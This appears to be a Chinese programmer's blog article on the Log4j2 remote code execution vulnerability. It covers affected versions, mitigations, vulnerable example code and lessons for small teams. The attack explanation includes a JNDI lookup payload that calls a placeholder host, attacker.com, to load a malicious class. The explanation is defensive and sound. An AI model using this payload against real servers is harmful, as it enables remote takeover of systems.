事件背景12月10日,看到朋友圈有人连夜修改上线系统。紧接着,看到了阿里云安全和腾讯安全部发布的官方报告:“ApacheLog4j2存在远程代码执行漏洞”,漏洞已经公开。看到相关消息,我立马起身过滤了所有项目的日志系统。幸好老项目使用的log4j和新项目使用的logback没有落入陷阱。然后就看到朋友圈里铺天盖地的相关新闻。作为史诗级事件,紧急修改漏洞在所难免。作为一个程序员,如果你看到这个信息,连系统检查都不会,那你就真的不是一个合格的程序员。经历了这件事,不光是看热闹,更要思考如何避免,提前预防,像小公司这样的bug要做好准备。漏洞描述ApacheLog4j2是一款优秀的Java日志框架,与Logback势均力敌。大量主流开源框架使用Log4j2,如ApacheStruts2、ApacheSolr、ApacheDruid、ApacheFlink等都受到影响。因此,如果这样的底层框架出现问题,其影响可想而知。漏洞信息:ApacheLog4j2.15.0-rc1版本存在漏洞绕过,需要及时更新至ApacheLog4j2.15.0-rc2版本。范围:2.0<=Apachelog4j2<=2.14.1。最新修复版本:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2修复方案方案一:升级版本,发布系统;方案二:治标不治本:修改JVM参数,设置-Dlog4j2.formatMsgNoLookups=true。添加log4j2.component.properties配置文件,在涉及漏洞的项目classpath下添加配置项log4j2.formatMsgNoLookups=true。将系统环境变量FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true。攻击原理攻击伪代码示例:importorg.apache.log4j.Logger;importjava.io.*;importjava.sql.SQLException;importjava.util.*;publicclassVulnerableLog4jExampleHandlerimplementsHttpHandler{staticLoggerlog=Logger.getLogger(log4jExample.class.getName());/***示例伪代码:一个简单的HTTP端点,读取UserAgent信息和日志;*/publicvoidhandle(HttpExchangehe)throwsIOException{//获取用户代理信息StringuserAgent=he.getRequestHeader("user-agent");//这行日志记录代码通过记录攻击者控制的HTTPUser-Agent标头来触发RCE。//攻击者可以将他们的User-Agentheader设置为${jndi:ldap://attacker.com/a}log.info("RequestUserAgent:"+userAgent);Stringresponse="
HelloThere,"+userAgent+"!
";he.sendResponseHeaders(200,response.length());OutputStreamos=he.getResponseBody();os.write(response.getBytes());os.close();}}基于以上代码基本攻击步骤为:请求相应的HTTP端点(或接口),在请求信息中携带攻击代码(例如user-agent中携带${jndi:ldap://attacker.com/a});服务器通过Log4j2执行日志记录时,记录包含基于JNDI和LDAP的恶意负载${jndi:ldap://attacker.com/a},其中attacker.com是攻击者控制的地址。日志记录操作会触发对攻击者控制的地址的请求。对应于请求返回,在响应中返回可执行的恶意代码,并注入到服务器进程中。例如,返回https://attacker.com/Attack.class。然后执行脚本来控制服务器。腾讯安全专家复现如下:小公司程序员如何复现log4j2漏洞?关于漏洞和解决办法,上面已经详细讨论过了,问题基本解决了。在大型互联网公司中,都有专门的安全运维部门对这些漏洞进行监控和扫描。但是在小公司,显然没有这个条件。那么,我们应该怎么做呢?同时,作为事件的亲身经历者,您有没有想过在这次事件中反映出来的其他一些问题?首先,你第一时间得到消息了吗?在大型企业中,一旦发现这样的漏洞,安全部门会第一时间通知你。但是在小公司里,没有安全部门,怎么获取漏洞信息呢?比如我公司没有安全部门,但几乎是第一时间了解到漏洞,进行系统排查。作为一名程序员,如果漏洞的消息早就出来了,而你对此一无所知,那么你就应该反思一下朋友圈的质量和对技术热点的关注程度。如何在圈子里获取第一手消息,取决于并体现了你在社交圈或技术圈的地位和地位。第二,你不理它吗?很多朋友可能都看到了这个漏洞消息,但是只是看热闹,然后干什么干什么。制度有漏洞就会有漏洞~如果你是这样,或者你的团队是这样的话,你真的需要反思一下职业素养的问题了。很多人可能会觉得自己牛逼,自己的才华被人低估,自己的工资低,自己受了委屈……那么通过对比他们对这件事的反应,就基本可以知道自己有没有受委屈了。三、突发事件如何处理?这样的突发事件也是对系统运维和团队管理的考验,也是一种模拟演练:大家都在开发当前的业务,突然出现bug需要修改。怎么改一半的代码?比如大规模发布?一、改了一半代码怎么办?如果你团队的代码开发是基于master(trunk)来开发和提交代码,对于这种突发情况,难免会有修改一半的代码,提交,想一起发布但是还没测试然而。这是一个困难的局面。所以,代码管理(如何分支,合并分支,在不同环境下如何发布分支和主代码)一定要从日常做起,这样遇到突发情况时,才不会手忙脚乱。二、如果有大量项目需要发布怎么办?当然,最古老的方式是逐个系统手动发布。如果微服务和应用较多,不仅容易出错,而且耗时较长。这提醒我们构建自动化发布流程的重要性。四、如何发现系统漏洞?有安全部门的公司定期扫描系统漏洞,没有安全部门的公司只能坐等?其实,还是有一些办法可以找到一些系统漏洞的。比如密切关注框架的版本升级,使用第三方提供的漏洞扫描(比如阿里云服务器的安全扫描),和同行交流。小结任何一个漏洞都可能对软件系统造成致命的伤害,我们需要谨慎。对漏洞的处理和应对也是从业人员专业水平的体现。而如果你能从突发事件中学习和思考更多,你就会比别人成长得更快。